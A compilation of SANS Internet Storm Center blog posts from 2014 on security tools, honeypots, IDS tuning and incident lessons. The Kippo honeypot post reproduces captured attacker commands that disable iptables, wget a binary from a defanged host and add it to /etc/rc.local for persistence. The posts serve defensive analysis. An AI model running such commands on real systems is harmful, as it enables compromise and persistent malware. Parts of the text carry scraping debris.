Microsoft yesterday release EMET 5.1 . One particular sentence in Microsofts blog post suggests that you should apply this update (if you are using EMET) BEFORE you apply the Interent Explorer patch Microsoft is going to release in a couple of hours:
">If you are using Internet Explorer 11, either on Windows 7 or Windows 8.1, and have deployed EMET 5.0, it is particularly important to install EMET 5.1 as compatibility issues were discovered with the November Internet Explorer security update and the EAF+ mitigation.
For full details, and features added in EMET 5.1, see Microsofts blog post 
ISC StormCast for Tuesday, November 11th 2014 http://isc.sans.edu/podcastdetail.html?id=4231, (Tue, Nov 11th)
A number of my fellow Handlers have discussed Kippo , a SSH honeypot that can record adversarial behaviour, be it human or machine. Normal behaviour against my set of Kippo honeypots is randomly predictable; a mixture of known bad IP ranges, researchers or from behind TOR scanning and probing, would be attackers manually entering information from their jump boxes or home machines.
What caught my eye was a number of separate brute force attacks that succeeded and then manifested the same behaviour, all within a single day.Despite the IP addresses of the scans, the pickup file locations and the downloaded file names being different the captured scripts from the Kippo logs and, more importantly in this case, the hashes were identical for the two files   that were retrieved and attempted to run on Kippos fake system
So what? you may ask. I like to draw lessons learnt from this type of honeypot interaction which help provide some tactical and operational intelligence that can be passed other teams to use. Dont limit this type of information gather to just the security teams, for example our friends in audit and compliance need to know what common usernames and passwords are being used in these types of attacks to keep them current and well advised. A single line note on a daily report to the stakeholders for security may being in order if your organisation is running internet facing Linux systems with SSH running port TCP 22 for awareness.
Here are some of the one I detailed that would be passed to the security team.
1) The password 12345 isnt very safe who knew? (implied sarcasm)
2) The adversary was a scripted session with no error checking (see the scripts actions below)
3) The roughly two hours attacks from each unique IP address shows a lack of centralised command and control
4) The malware dropped was being reported in VirusTotal a day before I submitted my copies, so this most likely is a relatively new set of scanning and attacks
5) The target of the attack is to compromise Linux systems
6) The adversary hosting file locations are on Windows systems based in China running HFS v2.3c 291  a free windows web server on port 8889 which has a known Remote Command Execution flaw the owner should probably looked at updating.
7) Running static or dynamic analysis of the captured Linux binaries provided a wealth of further indicators
8) The IP addresses of the scanning and host servers
9) And a nice list of usernames and passwords to be added to the never, ever use these of anything (root/root, root/password, admin/admin etc)
Id normally offer up any captured binaries for further analysis, if the teams had the capacity to do this or dump them through an automated sandbox like Cuckoo  to pick out the more obvious indicators of compromise or further pieces of information to research (especially hard coded commands, IP addresses, domain names etc)
If you have any other comments on how to make honeypots collections relevant, please drop me a line!">Recorded commands by Kippo
service iptables stop
chmod u+x badfile1
tmp# wget hxxp://x.x.x.x:8889/badfile2
chmod u+x badfile2
bash: ./ badfile2: command not found
/tmp# cd /tmp
/tmp# echo cd /root//etc/rc.local
/tmp# echo ./ badfile1/etc/rc.local
/tmp# echo ./ badfile2/etc/rc.local
/tmp# echo /etc/init.d/iptables stop/etc/rc.local
 Kippo is a medium interaction SSH honeypot designed to log brute force attacks and, most importantly, the entire shell interaction performed by the attacker. https://github.com/desaster/kippo
 File hash 1 0601aa569d59175733db947f17919bb7 https://www.virustotal.com/en/file/22ec5b35a3b99b6d1562becb18505d7820cbcfeeb1a9882fb7fc4629f74fbd14/analysis/
 File hash 2 60ab24296bb0d9b7e1652d8bde24280b https://www.virustotal.com/en/file/f84ff1fb5cf8c0405dd6218bc9ed1d3562bf4f3e08fbe23f3982bfd4eb792f4d/analysis/
ISC StormCast for Monday, November 10th 2014 http://isc.sans.edu/podcastdetail.html?id=4229, (Mon, Nov 10th)
In almost every project I have ever worked the scope is defined as part of the scope/schedule/budget of the project (as it should be), and we have to work within that scope. In most cases that scope is set in advance by management, with little or no input regarding the impact to the systems security. It is almost automatically assumed that if a commercial IT offering exists, and it appears successful, then it must be secure. The thought is if it/they were not secure, how could it/they be in business? I see this in almost every instance when it comes to third party integrations. However it is not always limited to web integrations, and some of the next-gen attacks that are prevalent today. It can be as simple as stealing a password off a keyboard in another business that has access to your system. (We train our employees, but that does not mean everyone does)
Home Depot announced recently a breach that was the result of credentials issued to, and stolen from, a third party vendor. As with any third party integration or vendor support, security must be considered with the same regard as our own internal systems and processes. In this case, it may have been as simple as a fleet vendor who maintains the Home Depot trucks, and needed access for parts and billing. Or maybe it was a third-party vendor stocking the shelves, who needed access to inventory levels. It is mostly irrelevant, as their access needs to be treated with the same accord as if they were setting up a workstation on your network, and quite probably something was overlooked.
I cannot say this loud enough: Do not assume that because a company has been in business for x years, or they are the hottest product on the market, that it is backed by solid security. That is an assumption that can cost. Dearly.
I would like to hear what other bad assumptions that youve encountered. Speak up!
tony d0t carothers --gmail(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
[Guest Diary: Didier Stevens] [Shellcode Detection with XORSearch]
Frank Boldewin (http://www.reconstructer.org/) developed a shellcode detection method to find shellcode in Microsoft Office files, like .doc and .xls files. He released this as a feature of his OfficeMalScanner tool (http://www.reconstructer.org/code.html).
I consider this a very interesting detection method, and wanted to use this method on other file types like pictures. Thats what motivated to integrate this in my XORSearch tool.
XORSearch has been presented here before. Its a string search tool that brute-forces the content of the searched file with simple encoding methods like XOR, ROL, Say that you have a malware sample that downloads a file. You want to know the download URL, but the strings command will not find the URL, because it is encoded with XOR key 0xD1. XORSearch will find the URL like this: xorsearch malware.exe http
At the beginning of this year, I extended XORSearch beyond string searching: with option p, it will find embedded PE-files (executables).
And now, shellcode is the next target.
Frank was kind enough to share his shellcode detectors source code with me. But I wanted a flexible detector, one that can be tailored by the user without coding. So I developed a syntax for Franks shellcode detection rules and converted his source code with this new syntax. Let me explain with an example.
32-bit shellcode needs to establish its position in memory. A common method is known as Get EIP and uses these 2 instructions:
This will match E80000000058, E80000000059, 01011???)
The name of the rule is GetEIP method 1, the score is 10. Each time a match is found, the rules score is added to the total score.
To use XORSearchs shellcode detector with Franks rules, you use option " />
(option d 3 disables ROT encoding brute-forcing: ROT generates too much false positives with shellcode detection)
You can see from the screenshot that many detection rules triggered on this sample, and that the total score is 136.
To view all the rules I embedded in XORSearch, issue command xorsearch L.
And if you want to provide your own rules, use option w. I explain the rule syntax in detail in this blogpost:
XORSearch is open source written in C, without OS-specific calls. I publish the source code and binaries for Windows, OSX and Linux.
Download XORSearch: http://blog.didierstevens.com/programs/xorsearch/
Alex Stanford - GIAC GWEB GSEC,
Research Operations Manager,
SANS Internet Storm Center
ISC StormCast for Friday, November 7th 2014 http://isc.sans.edu/podcastdetail.html?id=4227, (Fri, Nov 7th)
Regular reader and contributor Gebhard sent us a pointer to Crypto 101, an introductory course on cryptography, freely available for programmers of all ages and skill levels byLaurens Van Houtven (lvh) available for everyone, for free, forever. Its a pre-release PDF read of a project that will be released in more formats later.
The Crypto 101 course allows you to learn by doing and includes everything you need to understand complete systems such as SSL/TLS: block ciphers, stream ciphers, hash functions, message authentication codes, public key encryption, key agreement protocols, and signature algorithms.
- Learn how to exploit common cryptographic flaws, armed with nothing but a little time and your favorite programming language.
- Forge administrator cookies, recover passwords, and even backdoor your own random number generator.
Lvh has written a fine book here, its comprehensive yet accessible, robust but not overwhelming, and accomplishes its intended mission as a learning guide. And did I mention that it">|">@holisticinfosec(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
ISC StormCast for Thursday, November 6th 2014 http://isc.sans.edu/podcastdetail.html?id=4225, (Thu, Nov 6th)
November's Issue of the OUCH Newsletter is available, covering Social Engineering! http://www.securingthehuman.org/ouch, (Wed, Nov 5th)
Alex Stanford - GIAC GWEB GSEC,
Research Operations Manager,
SANS Internet Storm Center
ISC StormCast for Wednesday, November 5th 2014 http://isc.sans.edu/podcastdetail.html?id=4223, (Wed, Nov 5th)
From the vFeed Github repo: vFeed framework is an open source naming scheme concept that provides extra structured detailed third-party references and technical characteristics for a CVE entry through an extensible XML schema. It also improves the reliability of CVEs by providing a flexible and comprehensive vocabulary for describing the relationship with other standards and security references.
Figure 1: vFeed usage
You can use the likes of vfeedcli.py search CVE-2014-6271 to look for everyone" />
Figure 2: vFeed search
Note that vFeed recommend that I export that CVE for more information. Ok, I will! The result is an XML file that includes every facet of the vulnerability including all the reference URLs, cross references, vulnerable targets (CPE), risk scoring (CVSS), patch management details, attack patterns, assessment data (exploits vuln scanning), and even Snort Suricata signature details. I love vFeed so much I even wrote a little R app to parse vFeed XML exports for quick summaries (will be sharing in December as part of a Linux Magazine article, Security Data Analytics ">|">@holisticinfosec (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
ISC StormCast for Tuesday, November 4th 2014 http://isc.sans.edu/podcastdetail.html?id=4221, (Tue, Nov 4th)
Newcastle (UK) University researchers claim to have found an exploit for the contactless payment feature of Visa cards. One of the fraud prevention features of these cards is that only small amounts can be charged in touch mode, without requiring a PIN. But the researchers say that simply changing the currency seems to evade these precautions completely, and they built a fake POS terminal into a smart phone that apparently can swipe money from unsuspecting victims just by getting close enough to their wallet.
According to the press release, VISAs response was that they believe that the results of this research could not be replicated outside a lab environment. Unfortunately, there aint too many cases in security engineering history where such a claim held for more than a day or three. If this attack turns out to be true and usable in real life, Visas design will go down into the annals of engineering screwups on par with NASAs Mars Climate Orbiter, where the trajectory was computed in inches and feet, while the thruster logic expected metric information.
Needless to say that the latter episode didnt end all that well.(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
A couple of weeks ago, I already covered the situation where a cloud IP address gets re-assigned, and the new owner still sees some of your traffic. Recently, one of our clients had the opposite problem: They had changed their Internet provider, and had held on to the old address range for a decent decay time. They even confirmed with a week-long packet capture that there was no afterglow on the link, and then dismantled the setup.
Until last week, when they got an annoyed rant into their abuse@ mailbox, accusing them of hosting an active spam operation. The guy on duty in the NOC didnt notice the IP address at first (it was still familiar to him), and he triggered their incident response team, who then rather quickly confirmed: Duh, this aint us!
A full 18 months after the old ISP contract expired, it turns out that their entire contact information was still listed in the WHOIS record for that old netblock. After this experience, we ran a quick check on ~20 IP ranges that we knew whose owner had changed in the past two years, and it looks like this problem is kinda common: Four of them were indeed still showing old owner and contact information in whois records.
So, if you change IPs, dont just keep the afterglow in mind, also remember to chase your former ISP until all traces of your contact information are removed from the public records associated with that network.
If you have @!#%%%! stories to share about stale whois information, feel free to use the comments below, or our contacts form.(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Are you looking for another packet sniffer? justniffer is a packet sniffer with some interesting features. According to the author, this packet sniffer can rebuild and save HTTP file content sent over the network. It uses portions of Linux kernel source code for handling all TCP/IP stuff. Precisely, it uses a slightly modified version of the libnids libraries that already include a modified version of Linux code in a more reusable way. The tarball can be downloaded here and a package is already available for Ubuntu.
The binary execution is pretty straightforward, you can capture/read of the wire or replay captured pcap files. This example (using -l option for custom log format) will output the Time, Destination IP, Website and URL:
justniffer -l %request.timestamp %dest.ip %request.header.host %request.url -f file.pcap
11/01/14 17:31:42 18.104.22.168 www.blackberry.com /select/wifiloginsuccess/EN/
11/01/14 13:08:45 22.214.171.124 init.ess.apple.com /WebObjects/VCInit.woa/wa/getBag?ix=1
11/01/14 12:55:27 126.96.36.199 fonts.gstatic.com /s/droidserif/v6/0AKsP294HTD-nvJgucYTaOL2WfuF7Qc3ANwCvwl0TnA.woff2
11/01/14 12:55:26 188.8.131.52 fonts.googleapis.com /css?family=Droid+Serif:regular|Crimson+Text:italic
justniffer-grab-http-traffic -d /tmp/web_traffic -U nobody -i eth1
It can decode other protocols by reading them in raw format. For example, just reading an email without any options output the follow summary information:
root@sniffer:/tmp/justniffer -f mail_mime.pcap
192.168.37.202 - - [-] test.mail.ca 0
192.168.37.202 - - [29/Dec/2008:19:35:08 -0500] HELO web88101.mail.re2.yahoo.com mail.server.ca 0
192.168.37.202 - - [29/Dec/2008:19:35:08 -0500] MAIL FROM: 2.1.0 0
192.168.37.202 - - [29/Dec/2008:19:35:08 -0500] RCPT TO: 2.1.5 0
192.168.37.202 - - [29/Dec/2008:19:35:08 -0500] DATA Enter 0
192.168.37.202 - - [29/Dec/2008:19:35:10 -0500] 30 Dec 2008 00:35:02 -0000 2.0.0 0
192.168.37.202 - - [29/Dec/2008:19:35:10 -0500] QUIT 2.0.0 0
Adding raw Mon, 29 Dec 2008 19:35:08 -0500 (EST)
250 test.mail.ca Hello web88101.mail.re2.yahoo.com [184.108.40.206], pleased to meet you
250 2.1.0 ... Sender ok
250 2.1.5 ... Recipient ok
354 Enter mail, end with . on a line by itself
This is another tool alternative to capture and analyze traffic that can be added to your tool bag. Give it a try.
Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
ISC StormCast for Monday, November 3rd 2014 http://isc.sans.edu/podcastdetail.html?id=4219, (Mon, Nov 3rd)
This is a guest diary submitted by Chris Sanders. We will gladly forward any responses or please use our comment/forum section to comment publicly.">">If you work with any type of IDS, IPS, or other">detection technology then you have to deal with false positives. One">common">mistake I see people make when managing their indicators and rules is">relying">solely on the rate of false positives that are observed. While false">positive">rate is an important data point, it doesnt encompass everything you">should">consider when evaluating the effectiveness of a rule or indicator. For">instance, consider a scenario where you have a rule that looks for a">specific">">alert tcp $HOME_NET any - $EXTERNAL_NET any">(msg:Random Malware content:|AB BF 09">B7|">">You can see that this rule isnt incredibly">specific as it examines all TCP traffic for four specific outbound bytes.">As a">result, there might be potential for false positives here. In this case, I">ran">this rule on a large network over the course of a month, and it generated">58">false positive alerts. Using that data point alone, it sounds like this">rule">might not be too effective. As a matter of fact, I had a few people who">asked">me if I could disable the rule. However, I didnt because I also">considered the">number of true positive alerts generated from this rule. Over the same">period of time this rule generated 112 true positive alerts. This means">that the rule was effective at catching what it was looking for, but it">still">wasn">">I mention the word precise, because the false">positive">and true positive data points can be combined to form a precision">statistic">using the formula P = TP /(TP + FP). This value, expressed as a">percentage,">can be used to describe exactly how precise a rule is, with higher values">being">more desirable. In the case of our example rule, the rule has 65.9%">precision,">meaning that it successfully detected what it was looking for 65.9% of the">time. That doesnt sound like a rule that should be disabled to me.">Instead, I">was able to conduct more research and further tune the rule by looking for">the">">When examining rules and indicators for their effectiveness, be sure">to consider both true and false positives. You might miss out on favorable">detection if you don">">Blogs:">">http://www.chrissanders.org (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
ISC StormCast for Friday, October 31st 2014 http://isc.sans.edu/podcastdetail.html?id=4217, (Fri, Oct 31st)
Often the start of a problem and its solution is receiving a call from a manger, project manager or other non-technical decision maker. Youll know going in that the problem is absolutely real, but the information going in might be a total red herring.
Some classic examples are:
The network is slow I ran a speed test, we should being seeing 10x the speed.
This is almost always a math error. The speed was measured in Bytes (upper case B), instead of bits (lower case B). Multiply by 8 and things should look better.
the network is slow our new web server takes 30 seconds to load the lead page
As most of you know, in a modern gigabit network, even on a busy network there just isnt anything on the network that will add a 30 second delay. 30 seconds in particular would have me checking for DNS issues first, especially for a new host or service. However, in this case, the client was loading their entire Java application (including the business logic) before the login page. The appdev answer to this would be to load the login page first, then load the app asynchronously in the background. The security answer to this is to question why you would load the application logic to an untrusted workstation on a hostile network (public internet).
The network is slow it must be a broadcast storm.
Its exceedingly rare to see a broadcast storm. Plus if the switches are configured correctly, if a broadcast storms does occur, it should be contained to a single Ethernet port, and it should either be rate limited or the port should be shut down, depending on your configuration.
When a non-technical person says broadcast storm, it really could mean anything that affects performance. Almost always it will end up being something server side DNS misconfigurations are a common thing (10-30 second delays on the first request), but it could also be an oversubscribed virtual infrastructure, coding errors, out of memory conditions, errors in programming, anything really.
The firewall is blocking our traffic
In some cases, especially if there is an egress filter, this can be the case. However, in many other cases it could be something else entirely. We recently worked on an issue where an AS400 (iSeries now I guess) was not connecting to the server. It turned out that the certificate needed for the connection was incorrect - the vendor had sent us a cert for a different site entirely. Wireshark did a great job in this case of saying LOOK HERE- THE PROBLEM IS HERE by giving us a Bad Certificate error - in bright red - in the main view.
We need port 443 open, in both directions
This is NEVER the case, but is commonly seen in vendor documentation. Either you need an outbound port (possibly an update to the egress filter), or an inbound port open. There are very few in both directions requirements - special cases like IPSEC VPNs encapsulated in UDP (NAT-T) for instance will have both a source and destination port of udp/500. In most cases, when the requirement is in both directions or bidirectional, its a bit of a treasure hunt to figure out what they mean (usually its outbound).
The moral of the story? I guess the first one is that if somebody tells you that the problem is the network, 70% of the time its not the network. More importantly though, is that if you get a business problem from a business person, its not something to minimize. You might not be able to count on all the information you get going in, but if they tell you something is slow or not usable, its their system, they are usually correct in at least identifying that the problem is real.
Please, use our comment form and fill us in on any recent false positives from a non-technical source that youve seen. Extra points if it was a real problem, but the initial info started you off in the wrong direction.